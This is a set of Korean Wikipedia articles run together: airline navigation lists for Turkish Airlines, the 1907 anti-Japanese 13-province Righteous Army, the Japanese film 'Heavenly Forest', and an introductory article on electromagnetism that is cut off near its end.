아비앙카 브라질 아비앙카 엘살바도르 아비앙카 온두라스 아비앙카 코스타리카 아비앙카 페루 에어 뉴질랜드 링크 에어링크 에어재팬 에어 캐나다 익스프레스 오스트리아 아처 항공 유나이티드 익스프레스 이집트 에어 익스프레스 재즈 항공 코파 항공 콜롬비아 타이 스마일 항공 터키 항공 카고 포르투갈리아 헬리콜 항공 과거 회원 BMI TAM 항공 TAM 파라과이 US 에어웨이스 셔틀 US 에어웨이스 US 에어웨이스 익스프레스 PLA 항공 멕시카나 항공 바리그 브라질 항공 블루원 상하이 항공 스위스 글로벌 항공 스팬에어 앤셋 오스트레일리아 콘티넨털 항공 vdeh 터키의 항공사여객 항공사 베스트에어 보라제트 사가 항공 스카이 항공 시버드 항공 선익스프레스 항공 아틀라스 글로벌 아나돌루 제트 오비트 익스프레스 항공 이즈에어 콘랜돈 항공 터키 항공 텔윈드 항공 페가수스 항공 프리버드 항공 화물 항공사 MNG 항공 ULS 항공 카고 마이카고 항공 터키 항공 카고 폐지된 항공사 BHT 항공 TUR 유럽 항공 골든 국제항공 그린 에어 노블 에어 베스트 에어 보스프러스 항공 비겐 에어 술탄 항공 썬웨이 항공 아크 에어 아크덴즈 항공 알바트로스 항공 에어 아나톨리아 에어 알파 인터 에어웨이즈 키프로스 터키 항공 타한타워 항공 투르콰즈 항공 플라이 에어 할리데이 에어 원본 주소 "https://ko.wikipedia.org/w/index.php?title=터키_항공&oldid=24510697" 분류: 스타 얼라이언스터키항공1933년 설립IATA 회원국책 항공사터키의 항공사이스탄불의 기업숨은 분류: 인용 오류 - 지원되지 않는 변수 무시됨터키어 표기를 포함한 문서영어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 AfrikaansالعربيةAsturianuАварAzərbaycancaتۆرکجهभोजपुरीBahasa BanjarবাংলাBosanskiCatalàČeštinaDanskDeutschΕλληνικάEnglishEsperantoEspañolEestiEuskaraفارسیSuomiFrançaisFryskGalegoעבריתहिन्दीHrvatskiMagyarՀայերենԱրեւմտահայերէնBahasa IndonesiaItaliano日本語JawaქართულიҚазақшаLatinaLadinoLietuviųLatviešuМакедонскиമലയാളംमराठीBahasa MelayuनेपालीNederlandsNorskPolskiPortuguêsRomânăРусскийСаха тылаScotsSrpskohrvatski / српскохрватскиSimple EnglishSlovenčinaSoomaaligaShqipСрпски / srpskiSvenskaไทยTürkçeТатарча/tatarçaئۇيغۇرچە / UyghurcheУкраїнськаاردوTiếng Việt中文Bân-lâm-gú粵語 링크 편집 이 문서는 2019년 7월 1일 (월) 20:54에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
13도 창의군 - 위키백과, 우리 모두의 백과사전 13도 창의군 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 13도 창의군(十三道 倡義軍)은 대한제국의 항일 의병 조직이다. 목차 1 개요 2 조직 3 활동 4 13도창의군 주요 의병장 5 같이 보기 6 참고 자료 개요[원본 편집] 13도 창의군은 1905년 을사늑약 체결 이후 다시 전국적으로 의병 항쟁이 일어났을 때, 각지의 의병부대들을 단일대오로 통수하기 위해 1907년 원주에서 거병한 이은찬(李殷瓚), 이구채(李求采, 혹은 이구재(李九載)) 등이 주도하여 문경의 이인영을 수 일간 설득, 통수로 추대하고, 각 도에서 의병들을 모집하여 한양으로 진격, 일본군을 토벌하고 독립을 달성하기 위해 구성한 자발적인 의병연합부대이다. 조직[원본 편집] 창의군 총대장 이인영 창의군 중군대장 이은찬 창의군 총독장 이구채 활동[원본 편집] 1905년 지리산에서 거병한 의병대장 문태수(文泰洙), 1907년(융희 1년) 고종이 강제 퇴위당하자 영춘(永春)에서 의병을 일으킨 이강년(李康秊), 강원도지역에서 의병을 일으킨 민긍호(閔肯鎬), 김천에서 거병한 허위 등 전국에서 각 도를 대표하는 수많은 의병장과 그들을 따르는 약 1만여 명의 의병, 해산 군인들이 모여 한성 탈환 작전을 벌였으나 사전에 일본군에게 발각되어 동대문 밖 30리(당시 경기도 양주군 망우리면, 현재의 서울시 중랑구 일대)까지 진격하였다가 일본군의 강력한 저항으로 철군하였으며, 이후 창의군은 한성 인근의 경기도와 황해도 지방에서 활발한 전투를 전개하였다. 이 작전은 독립운동 사상 가장 큰 규모의 의병운동으로 평가되며, 각국 공사관에 교전 단체로 승인해 줄 것을 요구하는 등 항일의병운동 역사에서 본격적인 의병활동이 전개되는 시작점으로 평가된다. 당시는 일제의 밀정(→일진회 참조)들이 활발하게 움직이던 시기로 이들 밀정들의 공작으로 홍범도(함경도), 김수민(중부 지역), 신돌석(경상도) 등 평민 출신의 의병장들이 이끄는 부대들이 의병 연합 조직에서 배제되었다. 결국 창의군을 조직하고 한성탈환작전을 기획했던 중군대장 이은찬은 한성에서 밀정에게 속아 순국하였고, 총대장 이인영은 작전 중 부친상을 이유로 문경으로 돌아갔으나 일본 헌병에 체포되어 순국하였다. 허위가 이인영을 대신해 연합부대를 이끌었으나 1908년 양평에서 일본군에 체포되었고, 이후 창의군은 경기도, 황해도 등지에서 산발적인 전투를 전개해나갔다. 13도창의군 주요 의병장[원본 편집] 문경 이인영 문경 이은찬 횡성 이구채 강원도 민긍호 영춘 이강년 김천 허위 지리산 문태수 같이 보기[원본 편집] 13도 의군 참고 자료[원본 편집] 독립기념관 소장도서(한국독립운동사 정보시스템), 『한국독립운동의 역사』 제11권 한말 후기의병[깨진 링크(과거 내용 찾기)] (펴낸이 홍영기 (洪英基), 한국독립운동사편찬위원회) 제3장 13도창의대진소의 결성과 서울진공작전(사진자료) 검색도움말, 검색어 → “제11권 한말 후기의병” 대한민국 국가보훈처, 이 달의 독립 운동가 상세자료 - 이인영, 1993년 이 글은 한국 근현대사에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=13도_창의군&oldid=23984489" 분류: 1907년 설립한국의 독립운동단체한말 의병13도 창의군명수 13숨은 분류: 깨진 링크를 가지고 있는 문서한국 근현대사에 관한 토막글모든 토막글 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기원본 편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2019년 4월 7일 (일) 14:34에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
다만 널 사랑하고 있어 - 위키백과, 우리 모두의 백과사전 다만 널 사랑하고 있어 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 다만, 널 사랑하고 있어ただ、君を愛してる: Heavenly Forest 감독 신조 타케히코 제작 노무라 토시야 각본 반도 켄지 원작 이치카와 타쿠지 편집 후카자와 요시후미 음악 이케 요시히로 개봉일 2006년 10월 28일 2007년 8월 15일 시간 116분 언어 일본어 《다만 널 사랑하고 있어》(일본어: ただ、君を愛してる: Heavenly Forest)은, 2007년 8월 15일에 개봉한 일본 영화이다. 자신이 사용하는 약에서 이상한 냄새가 난다고 생각하고 스스로 사람들을 피하는 세가와 마코토 (타마키 히로시) 와 성장을 하면 죽는병에 걸린 사토나카 시즈루 (미야자키 아오이)와의 이야기를 다루고 있다. 목차 1 줄거리 2 등장 인물 3 스태프 4 OST 줄거리[편집] 2년의 세월이 흘렀다. 갑자기 떠난 시즈루(미야자키 아오이). 2년 후 그녀에게서 온 편지를 들고 마코토(타마키 히로시)는 크리스마스로 들뜬 뉴욕으로 왔다. 그러나 그를 보러 온 건 미유키(쿠로키 메이사)였다. 과연 그녀에겐 무슨 일이 있는 것일까? 6년 전, 대학 입학식 날. 번잡한 횡단보도를 건너려는 시즈루와 마주친 마코토. “여기선 건널 수 없으니까 저쪽에서 건너는 게 좋을 거야” 마코토는 조금은 별난 행동을 하는 그녀를 향해 셔터를 누른다. 둘 만의 숲. 늘 약 냄새가 난다고 생각하는 마코토, 냄새를 잘 못 맡는 시즈루. 둘은 친구가 되고, 매일 캠퍼스 뒷 숲에서 사진을 찍는다. 그러나 시즈루를 여자로 보지 않는 마코토는 퀸카 미유키를 짝사랑하고 있다. 시즈루는 성숙한 여자가 되기로 결심한다. “앞으로 성장해 마코토가 놀랄 정도로 괜찮은 여자가 될 거야. 그 때 후회해도 몰라.” 생일 선물. “생일선물로 나와 키스해 줄래? 콘테스트 사진 모델로 말이야.” 시즈루의 엉뚱한 부탁으로 첫 키스를 하게 되는 두 사람. 시즈루는 혼자 말하듯 내뱉는다. ‘마코토…방금 전 그 때, 조금은 사랑이 있었을까’ 그 날 밤 그녀는 “안녕, 그 동안 고마웠어” 란 짧은 메모만 남기고 사라져버린다. 등장 인물[편집] 세가와 마코토 : 타마키 히로시 사토나카 시즈루 : 미야자키 아오이 시로하마 료 : 아오키 무네타카 세키구치 쿄헤이 : 코이데 케이스케 토야마 미유키 : 쿠로키 메이사 야구치 유카 : 오니시 마에 우에하라 미사 : 이노우에 사키 스태프[편집] 원작 : 이치카와 타쿠지 감독 : 신조 타케히코 각본 : 반도 켄지 연출 : 신조 타케히코 제작 : 노무라 토시야 편집 : 후카자와 요시후미 음악 : 이케 요시히로 OST[편집] 오오츠카 아이 : 렌아이샤신 (연애사진) 원본 주소 "https://ko.wikipedia.org/w/index.php?title=다만_널_사랑하고_있어&oldid=21297318" 분류: 일본의 드라마 영화2006년 영화에이벡스 그룹의 영화 작품숨은 분류: 일본어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 CatalàEnglishEspañolFrançaisItaliano日本語РусскийTiếng Việt中文 링크 편집 이 문서는 2018년 5월 18일 (금) 12:55에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
전자기학 - 위키백과, 우리 모두의 백과사전 전자기학 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 고전 전자기학 전기 · 자기 정전기학 전하 쿨롱 법칙 전기장 변위장 전기 선속 가우스 법칙 전위 정전기 유도 전기 쌍극자 모멘트 편극 밀도 유전율 영상법 정자기학 앙페르 회로 법칙 전류 자기장 자기화 투자율 자기 선속 비오-사바르 법칙 자기 모멘트 가우스 자기 법칙 동전기학 로런츠 힘 기전력 전자기 유도 패러데이 법칙 와전류 렌츠의 법칙 변위 전류 맥스웰 방정식 전자기장 리에나르-비헤르트 퍼텐셜 맥스웰 변형력 텐서 뒤처진 퍼텐셜 예피멘코 방정식 전기 회로 전기저항 전기용량 전도율 유도계수 온저항 반응저항 어드미턴스 전력 공변 공식 전자기장 텐서 4차원 전류 전자기 퍼텐셜 과학자 가우스 길버트 로런츠 맥스웰 베버 볼타 비오 앙페르 옴 외르스테드 쿨롱 키르히호프 테슬라 패러데이 포인팅 헤르츠 헤비사이드 헨리 v • d • e • h 물리학 물리학이 다루는 여러 자연 현상 주요 개념 물질, 힘, 에너지,운동, 기본 상호작용 주요 분야 역학 고전역학 양자역학 통계역학 열역학 동역학 유체동역학 정역학 전자기학 광학 천체물리학 상대성 이론 특수 상대성 이론 일반 상대성 이론 입자물리학 표준모형 이론물리학 양자장론 초끈이론 수리물리학 전자기학(電磁氣學)은 전기와 자기 현상을 탐구하는 학문이다. 전기와 자기는 전자기장을 이룬다. 자기 현상은 이미 기원전 2000년 무렵 중국 문헌에 등장하며, 전기 역시 기원전 700년 무렵 고대 그리스 세계에 알려져 있었다. 그러나, 전기와 자기가 전자기력이라는 동일한 기본 상호작용에 의한 현상이라는 점은 19세기에 와서야 밝혀졌다.[1]:533 목차 1 전기장 2 자기장 3 전자기 유도 4 맥스웰 방정식 5 함께 보기 6 참고 문헌 7 주해 8 각주 전기장[편집] 플라스틱 미끄럼틀을 타고 노는 아이가 정전기에 대전되어 머리카락이 곤두서 있다. 양전하와 음전하로 대전된 물체가 만들어 내는 전기장의 모습 이 부분의 본문은 전기장입니다. 양털로 만든 옷감에 플라스틱 빗을 여러 번 문지른 후 머리카락에 갖다 대면 머리카락이 빗에 달라 붙는 것을 볼 수 있다. 이와 같이 물체가 전기를 띄게 되는 것을 대전되었다고 한다. 고대 그리스 시대의 철학자 탈레스는 호박(琥珀)을 마찰하면 호박에 작은 물체가 달라 붙는 것을 관찰하였다.[2] 전기를 뜻하는 영어: electricity는 호박을 뜻하는 그리스어: ἤλεκτρον에서 온 것으로 추정된다.[3] 위에 든 예와 같이 두 물체를 마찰하여 대전된 전기를 정전기라고 하는데, 정전기가 대전되는 까닭은 물체를 이루는 원자가 지니는 전자 가운데 일부가 적은 에너지로도 쉽게 원자에서 벗어날 수 있기 때문이다. 이렇게 원자로부터 벗어나 움직이는 전자를 자유 전자라고 한다.[주해 1] 금속과 같이 자유 전자를 많이 지닌 물질은 언제나 전자들이 쉽게 이동하기 때문에 대전되었더라도 다른 물체와 닿게 되면 전기가 쉽게 전달되어 버린다. 이런 물체를 도체라고 한다. 반면에 고무나 유리와 같은 물질은 자유전자가 매우 적어서 한 번 대전되면 전하를 비교적 오랫동안 유지하게 된다. 이런 물체를 부도체라고 한다. 물질 가운데에는 상태에 따라 도체와 부도체의 성질을 모두 가질 수 있는 것도 있다. 이런 물질들은 반도체라고 부른다. 반도체는 최근 여러 전자 제품에 널리 사용되고 있다.[4] 전기에는 서로 다른 두 종류의 전하가 있어서 같은 것은 밀쳐내고 다른 것과는 끌어당긴다. 18세기 미국의 과학자이자 정치가였던 벤저민 프랭클린은 두 전하를 한 쪽은 양 전하, 다른 쪽은 음 전하라고 이름 붙였다.[1]:536 이런 척력과 인력의 크기는 물체가 갖고 있는 전하의 양과 두 물체 사이의 거리에 관계된다. 이렇게 정전기로 대전된 두 물체 사이에 작용하는 힘은 쿨롱의 법칙으로 계산될 수 있다.[5]:65-68 어떤 공간에 대전된 한 개의 물체가 있다고 할 때, 이 물체 근처로 지나가는 다른 대전된 물체는 쿨롱의 법칙에 따라 서로의 거리가 가까워 질 수록 더 강한 힘을 받게 된다. 반대로 일정 거리 이상 멀어지면 두 전하 사이의 힘은 무시될 수 있을 정도로 작아질 것이다. 이렇게 하나의 전하에서 만들어지는 전기력이 영향을 미치는 범위를 전기장이라고 한다. 전기장의 세기는 어떤 위치에 있는 물체가 단위 전하당 얼마만큼의 힘을 받는지로 계산한다. 국제단위계로 나타내면 쿨롱당 뉴턴, 즉 N / C {\displaystyle N/C} 로 나타낸다.[6] 물체에 고여있는 정전기와 달리 전류는 양전하에서 음전하로 흐르는 전기의 흐름이다. 1800년 이탈리아의 과학자 알레산드로 볼타는 황산 수용액에 구리막대와 아연막대를 담은 후, 두 막대를 금속선으로 이어 전지를 발명하였다. 볼타 전지는 최초로 전류를 지속적으로 공급하는 장치였다.[7]:45–47 자기장[편집] 18세기에 제작된 항해용 나침반 막대 자석 주위에 자기장을 따라 늘어선 철가루 이 부분의 본문은 자기장입니다. 고대 중국에서는 자석에 철이달라붙는 다는 사실과 자석이 남북을 가리킨다는 사실을 알고 있었다. 고대 중국인들은 이러한 성질을 이용하여 나침반을 만들어 사용하였다. 나침반은 세계 여러 곳에 전파되어 항해에 필수적인 장비가 되었다.[5]:102 자석은 전하와 같이 같은 극끼리는 밀치고 다른 극끼리는 잡아당기는 힘이 작용한다. 관례적으로 자석에서 북극을 가리키는 쪽을 N극, 반대편을 S극이라고 한다. 물질이 자기를 띄게 되는 것은 원자가 스스로 전류 고리를 갖기 때문이다. 원자핵의 자전과 원자핵 주변을 돌고 있는 전자의 공전과 자전때문에 원자에 전류 고리가 생기고 이 때문에 원자 자체에 N극과 S극의 성질을 나타내는 자기쌍극자가 형성된다.[8] 전기의 기본 단위인 전하가 음전하 또는 양전하 홀로 존재할 수 있는 것과는 다르게 자기는 자기쌍극자에 의해 발생하는 현상이기때문에, 기초 단위에서부터 N극과 S극이 동시에 존재한다.[1]:680 자석에 철과 같은 물질이 달라붙는 현상을 자기라고 하고, 자석에 달라붙는 물질을 자성체라고 한다. 널리 알려진 자성체로는 철 이외에 니켈과 같은 것이 있다. 자기에 반응하지 않는 물질은 비자성체라고 하며, 이 외에 자석에 아주 약하게 반응하는 알루미늄, 크롬과 같은 물질은 상자성체, 구리, 금, 은과 같이 자석이 가까이 가면 약하게 반발하는 물질은 반자성체라고 한다.[5]:137 대부분의 물질은 원자단위의 자기쌍극자가 무질서하게 놓여져 있기때문에 서로간의 자기가 상충되어 자성을 띄지 않지만, 철이나 니켈같은 물질들은 원자의 배열이 자기가 한 쪽 방향으로 정렬되기 쉽도록 되어 있어서 쉽게 자성을 띄게 되고 한 번 자석이 되면 계속하여 자성을 유지하게 된다. 자성을 잃지 않고 계속 지니는 자석을 영구 자석이라고 한다.[9] 철 막대를 자석의 한 극으로 내려 치면 철 원자의 자기쌍극자가 한 쪽으로 정렬되어 영구 자석이 된다. 한편, 영구 자석이 된 철이라고 하더라도 약 770℃ 가 되면 자성을 잃는데, 열에 의해 원자가 무질서하게 운동하기 때문이다.[10] 전기장과 마찬가지로 자기가 미치는 공간을 자기장이라고 한다. 위에 설명한 바와 같이 자기의 단위 자극인 자하는 전하와 달리 홀로 존재하지 않고 언제나 쌍극자로 존재하므로 N극에서 나와 S극까지 이어지는 하나의 자기 흐름을 생각할 수 있다. 이렇게 하나의 폐곡선으로 연결되는 자기 흐름을 자기력선이라고 하는데, 자기장은 일정 공간에 자기력선이 얼마나 많이 모여있는지와 그렇게 모인 자기력선이 얼마나 센 지를 고려하여야 한다. 자기력선이 일정 공간에 얼마나 많이 모여 있는지는 자기 선속 밀도(磁氣線束密度)라고 하며, 관례적으로 B → {\displaystyle {\overrightarrow {B}}} 로 나타낸다. 한편, 특정 위치에서 자기장의 세기는 H → {\displaystyle {\overrightarrow {H}}} 로 나타내는데, 그곳에 놓인 자하가 받는 힘을 뜻한다.[주해 2][11] 국제단위계에서는 자기장의 단위로 테슬라(T)를 사용하지만 일반적으로는 가우스(G)가 더 많이 쓰인다.[1]:683 자기장의 경우에 자기 선속 밀도와 자기장의 세기가 다른 까닭은 자기장이 통과하는 매질마다 자기장을 전달하는 비율이 다르기 때문이다. 어떤 물질이 자화되어 자기장을 전달하는 비율을 투자율(透磁率)이라고 하고 그리스 문자 μ로 나타낸다. 투자율은 물질마다 고유의 값이 있는데 투자율이 수백에 근접하는 강자성 물체를 제외하면 대부분의 물질은 1에 가까운 투자율을 가지고 있다.[12]:39[주해 3] 진공 또는 자유공간의 투자율은 특히 μ 0로 나타내며, 그 값은 4 π × 10 − 7 A / m {\displaystyle 4\pi \times 10^{-7}A/m} 이다. 자기장의 자기 선속 밀도 B → {\displaystyle {\overrightarrow {B}}} 는 자기장의 세기 H → {\displaystyle {\overrightarrow {H}}} 에 투자율 μ 를 곱한 것과 같은 값을 갖는다. 즉, 다음과 같은 수식으로 나타낼 수 있다.[12]:39 B → = μ H → {\displaystyle {\overrightarrow {B}}=\mu {\overrightarrow {H}}} 전자기 유도[편집] 1823년 제작된 스터전의 전자석 이 부분의 본문은 전자기 유도입니다. 전기와 자기는 아주 오래전부터 알려진 현상이었지만, 이 둘이 사실은 같은 상호 작용이란 것은 19세기에 와서야 밝혀졌다. 1820년 덴마크의 과학자 한스 크리스티안 외르스테드는 전류가 흐르는 도선 가까이 나침반을 두면 나침반의 바늘이 가리키는 방향이 변하는 것을 관찰하고 전류와 자기 사이에 연관이 있음을 밝혀냈다.[13] 프랑스의 과학자 앙드레마리 앙페르는 외르스테드의 논문을 읽고 자신도 같은 실험을 하여 전류가 흐르는 도선에 생기는 자기장의 방향을 관찰하였다. 앙페르는 전류가 오른손의 엄지손가락 방향으로 흐를때 자기장은 나머지 네 손가락을 말아쥔 방향으로 형성된다는 것을 밝혔는데, 오른손 엄지를 위로 치켜 든다면 나머지 말아 쥔 네손가락은 반시계방향을 나타내게 된다. 이러한 발견은 앙페르의 오른나사 법칙이라는 이름으로 널리 알려지게 되었고, 훗날 수리 모형이 만들어져 앙페르의 회로 법칙이 수립되었다.[14] 1824년 영국의 과학자 윌리엄 스터전은 전류에서 발생하는 자기장을 이용하여 전자석을 만들었다. 스터전이 처음 만든 전자석은 말굽 모양의 철심을 자기 코어로 이용한 것이었다. 스터전은 자기 코어에 굵은 구리 전선을 18 번 감아 전자석을 만들었다. 당시에는 오늘날과 같은 절연체가 없었기 때문에 스터전은 구리 도선에 바니시를 발라 절연체로 사용하였다.[15][16] 패러데이의 전자기 유도 실험. 코일을 감아 만든 전자석을 다른 코일 속에 넣고 움직이면 전류가 발생한다. 전류가 자기장을 만든다는 사실이 알려지자, 자기장에서도 전류를 만들 수 있지 않을까 하는 의문을 갖는 것은 어찌보면 당연한 것이었다. 1831년 마이클 패러데이는 자석을 도선 가까이에서 움직이면 전류가 생긴다는 것을 밝혀내었다. 패러데이는 영구 자석이든, 전자석이든 자기장을 형성하는 것이기만 하면 도선가까이에서 움직이면(즉, 자기장의 변화가 일어나면) 전류가 생긴다는 것을 알아내고 이를 정리하여 패러데이 전자기 유도 법칙을 발표하였다.[17] 자기에서 전기가 유도될 수 있다는 것이 알려지자, 이것을 이용한 많은 기술들이 발명되었다. 니콜라 테슬라는 전자기 유도를 이용하여 교류 발전기를 발명하였다.[18] 맥스웰 방정식[편집] 제임스 클러크 맥스웰 1901년 대서양 너머로 무선 신호를 보내고 있는 굴리엘모 마르코니 이 부분의 본문은 맥스웰 방정식입니다. 1864년 제임스 클러크 맥스웰은 기존의 전기와 자기에 대한 이론의 수리 모형들을 약 20개의 방정식으로 정리하였다. 맥스웰은 나중에 의미가 같은 방정식들은 과감히 생략하고 본질적인 네 개의 방정식으로 정리하였다. 이를 맥스웰 방정식이라고 한다.[7]:112 맥스웰 방정식이 다루는 전자기학의 법칙은 다음과 같다.[주해 4] 가우스 법칙: 가우스의 법칙은 전하에 의해 만들어지는 전기장의 에너지를 나타낸다. 이는 본질적으로 쿨롱의 법칙과 같은 결과를 나타내게 된다. 그러나, 가우스의 법칙은 두 개의 전하에 작용하는 힘을 계산하는 쿨롱의 법칙과 달리 하나의 전하만을 고려할 때에도 그에 따른 전하량을 계산할 수 있다. 가우스 자기 법칙: 자기는 언제나 N극과 S극이 동시에 존재하므로, 닫힌 곡면을 지나는 자기량은 곡면안으로 들어가는 것과 통과하여 나오는 것이 언제나 같게 된다. 자기력은 벡터이기 때문에 들어가는 자기량과 나오는 자기력의 합은 언제나 0 이 된다. 패러데이 전자기 유도 법칙 : 도선 주변에서 자기장이 변화하면 전류가 생기는데, 이렇게 전류가 발생하도록 하는 힘을 기전력이라고 한다.패러데이의 전자기 유도 법칙은 자기 선속 밀도의 변화와 기전력의 관례를 수리적으로 정리한 법칙이다. 앙페르 회로 법칙 : 앙페르는 전류 주변에 흐르는 자기장의 세기를 예측할 수 있는 수리 모형을 만들었다. 하지만, 앙페르가 만든 방정식은 불완전한 면이 있었기 때문에 맥스웰은 이를 개선하여 새로운 방정식으로 대체하였다. 이 때문에 수정된 앙페르 회로 법칙은 앙페르-맥스웰 회로 법칙이라고 불리기도 한다. 맥스웰은 전자기학에 대한 법칙들의 수리 모형을 정리하면서 로런츠 힘은 다루지 않았다. 로렌츠 힘은 전하를 띈 물체가 전기장 안에서 받는 힘을 뜻한다. 오늘날 전자기학은 맥스웰 방정식과 로런츠 힘을 기반으로 하고 있다.[7]:114–115 맥스웰은 맥스웰 방정식을 정리한 후, 자계가 사인파와 같은 파동을 보이며 변화한다면 전계 역시 그에 따라 사인파 파동을 만들어 내게될 것이고, 그 반대도 마찬가지 일 것이므로, 전기와 자기의 성질을 모두 갖는 파동, 즉 전자파가 존재할 것이라고 예측하였다. 맥스웰이 예측한 전자파는 1888년 하인리히 루돌프 헤르츠의 실험을 통해 증명되었다. 이후, 전기 회로에서 생성된 전자파를 안테나를 통해 방출하거나 수신할 수 있다는 것이 알려지게 되었고, 이를 이용하여 무선 통신이나 방송과 같은 전자파를 이용한 기술들이 발명되었다.[7]:175-182 함께 보기[편집] 위키미디어 공용에 관련된미디어 분류가 있습니다.전자기학 전기 자기 전자기역학 이중 슬릿 실험 전자석 엑스선 광학 참고 문헌[편집] Griffiths, David J. (2006). 《전자기학》. 김진승 역 3판. 진샘미디어. ISBN 8995707011.  CS1 관리 - 추가 문구 (링크) 원서: (영어) Griffiths, David J. (2012). 《Introduction to Electrodynamics》 4판. Addison-Wesley. ISBN 0321856562.  CS1 관리 - 추가 문구 (링크) (영어) Jackson, J. D. (1998). 《Classical Electrodynamics》 3판. New York: John Wiley & Sons. ISBN 978-0-471-30932-1. OCLC 53599.  CS1 관리 - 추가 문구 (링크) 주해[편집] ↑ 두 물체를 마찰하여 대전시킬 때 실재 이동하는 전자의 양은 전체 전자 수 가운데 극히 일부분에 불과하다. 하지만, 전자기력은 중력에 비해 매우 큰 힘이어서 종이 조각과 같은 물체들은 대전된 플라스틱 빗에 쉽게 달라붙는다. ↑ B와 H 위에 있는 화살표는 이 두 값이 벡터임을 의미한다. ↑ 다른 말로 하면, 강자성체가 아닌 대부분의 매질에서 자기 선속 밀도와 자기장의 세기가 엇비슷하다는 뜻이 된다. ↑ 여기서는 각 법칙의 자세한 방정식은 생략하고 법칙이 제시하는 의미만을 설명한다. 보다 자세한 설명은 해당 법칙의 문서에서 확인할 수 있다. 각주[편집] ↑ 가 나 다 라 Raymond A. Serway, John W. Jewett (2009년). 《대학물리학 II》. 대학 물리학 교재 편찬 위원회 역. 북스힐. ISBN 978-89-5526-554-5.  ↑ 자연과학교재연구회, 《인간과 자연과학》, 학문사, 1995년, ISBN 89-467-4069-8, 124쪽 ↑ electric, adj. and n., Oxford English Dictionary, Draft Revision Mar. 2008 ↑ 김홍철 외 (2000). 《전기자기학》. 기전연구사. 25-26쪽. ISBN 8933603611.  ↑ 가 나 다 한국물리학회 (2006). 《전기와 자기의 밀고 당기기》. 동아사이언스. ISBN 89-91844-09-X.  ↑ 김범기 외 (1996). 《기초자연과학》. 학문사. 89쪽. ISBN 8946751614.  ↑ 가 나 다 라 타케우치 아츠시. 《고교수학으로 배우는 맥스웰의 방정식》. 김현영 역. 도서출판 홍. ISBN 8955171250.  ↑ Ulaby, Fawwaz T. (1998). 《전자기학》. 이문수 외 역. 교보문고. 193-195쪽. ISBN 8970852387.  ↑ 로버트 M. 헤이즌 외 (2005). 《과학의 열쇠》. 이창희 역. 교양인. 166쪽. ISBN 8995530065.  ↑ 이준회 외 (2003). 《생활 속의 과학 이야기》. MJ미디어. 370쪽. ISBN 8978800939.  ↑ 김응묵 편, 《전기이론》, 기문사, 1990년, ISBN 89-7723-034-9, 110쪽 ↑ 가 나 Christopoulos, Christos (2006). 《전자파적합성의 원리와 기법》. 정연춘 역. 진한엠엔비. ISBN 8984322997.  ↑ 대한여성과학기술인회, 《365일 생활과학 가이드북》, 한국과학문화재단, 1998년, ISBN 89-7483-098-1, 179쪽 ↑ 홍준의, 최후남, 고현덕, 김태일 (2006). 《살아있는 과학 교과서 1》. 휴머니스트. 202쪽. ISBN 8958620919.  CS1 관리 - 여러 이름 (링크) ↑ W. Sturgeon, Improved Electro Magnetic Apparatus, Trans. Royal Society of Arts. vol 43, Manufactures, & Commerce,1825, ISBN 0-7506-5073-7, p.37–52 ↑ Windelspecht, Michael. Groundbreaking Scientific Experiments, Inventions, and Discoveries of the 19th Century, xxii, Greenwood Publishing Group, 2003, ISBN 0-313-31969-3. ↑ 댄 폴크, 강주헌 역, 《T-셔츠 위의 만물이론》, 휘슬러, 2003년, ISBN 89-90457-02-5, 111-112쪽 ↑ 송성수, 《기술의 프로메테우스》, 신원문화사, 2005년, ISBN 89-359-1256-5, 194-195쪽 vdeh물리학의 주요 분야분류 응용물리학 실험물리학 이론물리학 에너지운동 열역학 역학 고전역학 라그랑주 역학 해밀턴 역학 연속체 역학 천체역학 